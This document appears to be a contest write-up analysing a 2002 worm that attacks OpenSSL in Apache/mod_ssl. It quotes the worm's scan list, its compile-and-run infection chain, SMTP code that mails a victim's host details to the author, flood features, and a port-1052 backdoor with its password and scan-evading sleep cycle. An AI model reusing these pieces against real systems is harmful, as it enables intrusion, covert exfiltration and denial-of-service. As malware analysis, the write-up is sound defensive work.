Scan of the Month 25

November 2002




Raoul Bhoedjang


Pepijn Janssen



 -       Q & A’s –


    1.    Which is the type of the .unlock file? When was it generated?

The .unlock file is a gzip-compressed tar archive.

The following sequence of Unix commands shows how we reached this conclusion.

file .unlock


cp .unlock unlock.gz

gunzip unlock.gz

echo $?


file unlock


cp unlock unlock.tar

tar tvf unlock.tar



There is evidence that supports the hypothesis that file .unlock was generated on September 20, 2002 at 10:59:04 (AM, GMT).This can be deduced from the timestamp stored in the gzip header of file .unlock.  The gzip file format description (RFC 1952) explains how this header field, called MTIME, is to be interpreted.


MTIME (Modification TIME)

This gives the most recent modification time of the original file being compressed. The time is in Unix format, i.e., seconds since 00:00:00 GMT, Jan.  1, 1970.  (Note that this may cause problems for MS-DOS and other systems that use local rather than Universal time.)If the compressed data did not come from a file, MTIME is set to the time at which compression started. MTIME = 0 means no time stamp is available.


The MTIME field in .unlock is found at byte offset 4, in little-endian byte order. It contains the following value:

1032519544  (decimal)

0x3d8aff78  (hexadecimal)


Using Python's time.gmtime() function to convert this value to a readable time, we obtain:

         2002, 9, 20, 10, 59, 4, 4, 263, 0)

or, in ISO 8601 format

         2002-09-20 10:59:04+000

   or, in English

         Friday September 20, 2002, 10:59:04

(Julian day 263,no daylight savings).


In our case, the compressed data does not appear to have come (directly) from a file, because no original file name is present in the header.  (If such a file name is present, the unix 'file' command will report it, but for .unlock, it does not report an original file name.)


The information above support the hypothesis that the file was generated at 2002-09-20 10:59:04+000.  There is no conclusive evidence, because it is possible to manually alter the timestamp stored in a gzip header (and recompute the checksum).



    2.    Based on the source code, who is the author of this worm? When it was created?

 Is it compatible with the date from question 1?

The comment at the beginning of .unlock.c states "by contem@efnet".

The same comment states "some modification done by aion (".

The comment at the beginning of .update.c states "code by aion (".

This suggests that the actual exploit was written by contem@efnet.


Two pieces of information hint at the creation time of the source code: the version number (VERSION) in .upodate.c and the last-modification time of .update.c. The version number is defined by the following line:

#define VERSION 20092002


This version number can be interpreted as a date: September 20, 2002.

When a file is extracted from a tar archive, tar restores its last-modification time. These times are obtained with ls and are as follows (local time).



total 88

drwxr-xr-x 2 raoul raoul 4096  2002-11-24 10:22:39.000000000 +0100 .

drwxr-xr-x 3 raoul raoul 4096  2002-11-24 10:22:39.000000000 +0100 ..

-rw-r--r-- 1 raoul raoul 70981 2002-09-20 15:28:11.000000000 +0200 .unlock.c

-rw-r--r-- 1 raoul raoul 2792  2002-09-19 23:57:48.000000000 +0200 .update.c



So the last-modification times are, respectively:

.unlock.c   2002-09-20 13:28:11+000 GMT

.update.c   2002-09-19 21:57:48+000 GMT


Recall the creation time stored in the compressed file (.unlock):

      2002-09-20 10:59:04+000


One expects that this file is created after the tar archive that contains .unlock.c and .update.c and therefore also after the last modifications to these source files. Consequently, the creation time of the compressed file (.unlock) is compatible with the last-modification time of .update.c, but incompatible with the last-modification time of .unlock.c.


    3.    Which process name is used by the worm when it is running?

The process name of .unlock.c is "httpd " (without the quotes, but with the space)

The process name of .update.c is "update   " (without the quotes, but with the three spaces).

The definition of each process name is shown below together with the line that copies this name into the program's argument vector argv.

#define PSNAME    "httpd " 



#define PSNAME    "update   "



    4.    In which format the worm copies itself to the new infected machine?

Which files are created in the whole process?

After the worm executes itself, which files remain on the infected machine?

The worm copies itself as a uu-encoded file to the newly infected machine. Function encode() in file .unlock.c uu-encodes file /tmp/.unlock (see the definition of WORMSRC, .unlock.c, line 79). Function encode() writes its output to an open socket (formal parameter a). The output starts with a typical uu-encoding header: begin 655 .unlock (see the definition of UUHEAD, .unlock.c, line 80).


The following files are created during the whole proces:

      /tmp/.unlock.uu   # cat << __eof__

      /tmp/.unlock      # uudecode

      /tmp/.unlock.c    # tar xzf

      /tmp/.update.c    # tar zxf

      /tmp/httpd        # gcc

      /tmp/update       # gcc


Only /tmp/.unlock is left behind on the infected machine.



    5.    Which port is scanned by the worm?

First it scans port 80tcp of a potentional victim

Then is sends a malformed request to it and grabs the version of the apache webserver from its replay.

If a vulnerable Apache version is present it will attack using the exploit code with the right offset on port 443tcp (20 times maximum). If no architecture matches, the offset used for RedHat apache 1.3.23 is chosen by default


The defined ports (80 and 443) are shown below

#define SCANPORT  80


void exploit(char *ip) {

      int port = 443;


The worm chooses a new range with potentional victims according a pre-defined list as shown below

#ifdef SCAN

unsigned char classes[] = { 3, 4, 6, 8, 9, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 24, 25, 26, 28, 29, 30, 32, 33, 34, 35, 38, 40, 43, 44, 45,

      46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 61, 62, 63, 64, 65, 66, 67, 68, 80, 81, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138,

      139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167,

      168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196,

      198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 224, 225, 226, 227, 228, 229,

      230, 231, 232, 233, 234, 235, 236, 237, 238, 239 };



Below is shown the HTTP-request that the worm sends to the server

write(sock,"GET / HTTP/1.1\r\n\r\n",strlen("GET / HTTP/1.1\r\n\r\n"));




    6.    Which vulnerability the worm tries to exploit? In which architectures?

The worm exploits a vulnerability known as the ‘OpenSSL (SSLv2) malformed client-key handshake remote buffer overflow vulnerability.’ During the SSL handshake the attacker sends a malformed key that leads to a buffer overflow on the server.


Vulnerable are Apache web servers that have mod_ssl enabled and that use protocol SSLv2 from OpenSSL 0.9.6d or earlier (0.9.7 beta's 1&2 to).


Neohapsis to CERT. Many variants are floating around the internet by now.


This worm infects only:

Debian Linux, Apache 1.3.26
Red Hat Linux, Apache 1.3.6
Red Hat Linux, Apache 1.3.9
Red Hat Linux, Apache 1.3.12
Red Hat Linux, Apache 1.3.19
Red Hat Linux, Apache 1.3.20
Red Hat Linux, Apache 1.3.23
SuSE Linux, Apache 1.3.12
SuSE Linux, Apache 1.3.17
SuSE Linux, Apache 1.3.19
SuSE Linux, Apache 1.3.20

SuSE Linux, Apache 1.3.23
Mandrake Linux, Apache 1.3.14
Mandrake Linux, Apache 1.3.19
Mandrake Linux, Apache 1.3.20
Mandrake Linux, Apache 1.3.23
Slackware Linux, Apache 1.3.26
Gentoo Linux (Apache version undetermined)

Many other SSL-capable programs would be vulnerable too, but the worm does not attack those.


The worm targets x86 architectures only. The binary code contained

in variable 'overwrite_next_chunk' disassembles as x86 assembly that

ends. The instruction sequence ends with the following two instructions

(GNU-style assembly):

mov $0xb, %a1     ; set system call number (11 = execve)

int $0x80         ; execute system call

On Linux/x86 this sequence is used to initiate system call number eleven




    7.    What kind of information is sent by the worm by email? To which account?

The worm sends three pieces of information by email: the host id (obtained by gethostid(), the host name (obtained by gethostname()) and the value of argv[1], the worm's command-line argument. All information is sent to


The construction of the email message is shown below


  sprintf(cmdbuf,"helo test\r\n");                     writem(pip, cmdbuf);


  sprintf(cmdbuf,"mail from:\r\n"); writem(pip, cmdbuf);


  sprintf(cmdbuf,"rcpt to: "MAILTO"\r\n");             writem(pip, cmdbuf);


  sprintf(cmdbuf,"data\r\n");                          writem(pip, cmdbuf);


  sprintf(cmdbuf," hostid:   %d \r\n"

                 " hostname: %s \r\n"

             " att_from: %s \r\n",gethostid(),buffer,sip);


The definition of the e-mail address and SMTP server are shown below

#define MAILSRV  ""

#define MAILTO   ""


     8.    Which port (and protocol) is used by the worm to communicate to other infected machines?

The worm uses port 4156 and protocol UDP to communicate with other infected machines.


The declared port and the use of the UDP-protocol is shown below

#define PORT      4156




    9.    Name 3 functionalities built in the worm to attack other networks.

The 3 ways to attack an other network would be by flooding the victim using the following protocols:

1.    UDP flooding. Repeatedly transmit a UDP packet to a specified

      port (rp->port) at the target machine (rp->target). Packets are

sent for a specified period of time (rp->secs). Each packet contains the same random contents and has a specified length rp->size).

2.    TCP flooding. Repeatedly connects to the target machine (rp->target), at a specified port (rp->port), but never waits for a connection to complete.

3.    DNS flooding. Repeatedly sends a DNS packet to the target machine.




    10.   What is the purpose of the .update.c program? Which port does it use?


This program implements a simple network login server, which can be used for backdoor entrance to the machine on which the program is run. When run, the program listens for incoming connections on TCP port 1052.


The definition of the port number is shown below


#define PORT        1052


When a client connects to port 1052 and sends the password string "aion1981", the server will fork off an interactive shell and connect stdin, stdout, and stderr to the network connection.


The program is broken. The accept() statement should take as its last argument a pointer to an integer rather than an integer.



    11.   Bonus Question: What is the purpose of the SLEEPTIME and UPTIME values in the .update.c program?


The backdoor will accept connections only 10 (UPTIME) out of every 510 (UPTIME + SLEEPTIME) seconds, or 2% of the time. After this acceptation period, the program puts itself to sleep for 500 (SLEEPTIME) seconds. While the program is asleep, the server port remains closed. As a result, an audit of the server (e.g., through a port scan) will most likely show a closed port.


Anyone who is aware of this strategy can easily connect to the program by repeating his or her connection attempts for at least five minutes and ten seconds. Most port scanners, however, are not that persistent.


Also, not all port scanners scan port 1052. With default settings, nmap, for example, will not scan port 1052. Consequently, naive port scanning by script kiddies across the internet will not reveal the backdoor.